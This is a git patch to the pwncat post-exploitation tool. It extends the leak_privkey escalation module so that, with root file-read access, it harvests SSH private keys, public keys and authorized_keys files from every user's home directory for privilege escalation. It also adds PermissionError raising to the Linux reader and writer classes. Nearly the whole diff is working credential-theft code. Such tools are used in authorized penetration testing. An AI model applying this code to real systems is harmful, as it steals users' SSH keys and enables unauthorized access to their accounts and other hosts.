From 71699807a25d126394b3c9a1b481cfe7ea21a2bc Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Tue, 10 Aug 2021 17:09:11 -0400 Subject: [PATCH] Updated leak_privkey to leak all keys when UID=0 Also added `PermissionError` exception to `LinuxReader` and `LinuxWriter` when the underlying process completes with a non-zero exit code. --- CHANGELOG.md | 2 + .../linux/enumerate/escalate/leak_privkey.py | 109 ++++++++++-------- pwncat/platform/linux.py | 12 ++ 3 files changed, 75 insertions(+), 48 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0d5cf0e..24b43e3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,8 @@ and simply didn't have the time to go back and retroactively create one. - Added a warning message when a `KeyboardInterrupt` is caught ### Changed - Changed some 'red' warning message color to 'yellow' +- Leak private keys for all users w/ file-read ability as UID=0 ([#181](https://github.com/calebstewart/pwncat/issues/181)) +- Raise `PermissionError` when underlying processes terminate unsuccessfully for `LinuxReader` and `LinuxWriter` ## [0.4.3] - 2021-06-18 Patch fix release. Major fixes are the correction of file IO for LinuxWriters and diff --git a/pwncat/modules/linux/enumerate/escalate/leak_privkey.py b/pwncat/modules/linux/enumerate/escalate/leak_privkey.py index f6e530a..305caba 100644 --- a/pwncat/modules/linux/enumerate/escalate/leak_privkey.py +++ b/pwncat/modules/linux/enumerate/escalate/leak_privkey.py @@ -18,64 +18,77 @@ class Module(EnumerateModule): """Locate usable file read abilities and generate escalations""" # Ensure users are already cached - list(session.iter_users()) + all_users = list(session.iter_users()) + already_leaked = [] for ability in session.run("enumerate", types=["ability.file.read"]): - user = session.find_user(uid=ability.uid) - if user is None: - continue + if ability.uid == 0: + users = all_users + else: + user = session.find_user(uid=ability.uid) + if user is None: + continue + users = [user] - yield Status(f"leaking key for [blue]{user.name}[/blue]") + for user in users: + if user in already_leaked: + continue - ssh_path = session.platform.Path(user.home, ".ssh") - authkeys = None - pubkey = None - # We assume its an authorized key even if we can't read authorized_keys - # This will be modified if connection ever fails. - authorized = True + yield Status(f"leaking key for [blue]{user.name}[/blue]") - try: - with ability.open(session, str(ssh_path / "id_rsa"), "r") as filp: - privkey = filp.read() - except (ModuleFailed, FileNotFoundError, PermissionError): - yield Status( - f"leaking key for [blue]{user.name}[/blue] [red]failed[/red]" - ) - continue + ssh_path = session.platform.Path(user.home, ".ssh") + authkeys = None + pubkey = None + # We assume its an authorized key even if we can't read authorized_keys + # This will be modified if connection ever fails. + authorized = True - try: - with ability.open(session, str(ssh_path / "id_rsa.pub"), "r") as filp: - pubkey = filp.read() - if pubkey.strip() == "": - pubkey = None - except (ModuleFailed, FileNotFoundError, PermissionError): - yield Status( - f"leaking pubkey [red]failed[/red] for [blue]{user.name}[/blue]" - ) - - if pubkey is not None and pubkey != "": try: - with ability.open( - session, str(ssh_path / "authorized_keys"), "r" - ) as filp: - authkeys = filp.read() - if authkeys.strip() == "": - authkeys = None + with ability.open(session, str(ssh_path / "id_rsa"), "r") as filp: + privkey = filp.read() except (ModuleFailed, FileNotFoundError, PermissionError): yield Status( - f"leaking authorized keys [red]failed[/red] for [blue]{user.name}[/blue]" + f"leaking key for [blue]{user.name}[/blue] [red]failed[/red]" + ) + continue + + try: + with ability.open( + session, str(ssh_path / "id_rsa.pub"), "r" + ) as filp: + pubkey = filp.read() + if pubkey.strip() == "": + pubkey = None + except (ModuleFailed, FileNotFoundError, PermissionError): + yield Status( + f"leaking pubkey [red]failed[/red] for [blue]{user.name}[/blue]" ) - if pubkey is not None and authkeys is not None: - # We can identify if this key is authorized - authorized = pubkey.strip() in authkeys + if pubkey is not None and pubkey != "": + try: + with ability.open( + session, str(ssh_path / "authorized_keys"), "r" + ) as filp: + authkeys = filp.read() + if authkeys.strip() == "": + authkeys = None + except (ModuleFailed, FileNotFoundError, PermissionError): + yield Status( + f"leaking authorized keys [red]failed[/red] for [blue]{user.name}[/blue]" + ) - yield PrivateKey( - self.name, - str(ssh_path / "id_rsa"), - ability.uid, - privkey, - False, - authorized=authorized, - ) + if pubkey is not None and authkeys is not None: + # We can identify if this key is authorized + authorized = pubkey.strip() in authkeys + + yield PrivateKey( + self.name, + str(ssh_path / "id_rsa"), + user.id, + privkey, + False, + authorized=authorized, + ) + + already_leaked.append(user) diff --git a/pwncat/platform/linux.py b/pwncat/platform/linux.py index c9c45e7..212eb70 100644 --- a/pwncat/platform/linux.py +++ b/pwncat/platform/linux.py @@ -343,6 +343,12 @@ class LinuxReader(BufferedIOBase): self.popen.terminate() self.popen.wait() + # This happens immediately upon the first read attempt because the process will have + # exited. During testing, this seems reliable. It's not ideal, but we don't know what + # the remote process is... + if self.popen.returncode != 0: + raise PermissionError(self.name) + self.detach() @@ -484,6 +490,12 @@ class LinuxWriter(BufferedIOBase): self.popen.kill() self.popen.wait() + # This happens immediately upon the first read attempt because the process will have + # exited. During testing, this seems reliable. It's not ideal, but we don't know what + # the remote process is... + if self.popen.returncode != 0: + raise PermissionError(self.name) + # Ensure we don't touch stdio again self.detach()